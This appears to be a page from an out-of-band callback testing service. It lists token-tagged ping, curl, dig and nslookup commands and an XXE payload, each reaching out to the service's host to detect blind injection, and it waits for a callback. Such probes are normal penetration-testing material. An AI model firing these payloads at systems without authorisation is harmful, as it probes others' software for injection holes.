$ ping -c1 -p 001f3351d426b2dc5f8bbc04ab868500 unhack.ca
 
$ curl http://unhack.ca/p/1f3351d426b2dc5f8bbc04ab8685
 
$ dig 1f3351d426b2dc5f8bbc04ab8685 @unhack.ca
 
$ dig 1f3351d426b2dc5f8bbc04ab8685.ns.unhack.ca
 
C:\> nslookup 1f3351d426b2dc5f8bbc04ab8685 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1f3351d426b2dc5f8bbc04ab8685">]>
    <foo>&xxe;</foo>
 
Waiting for ping...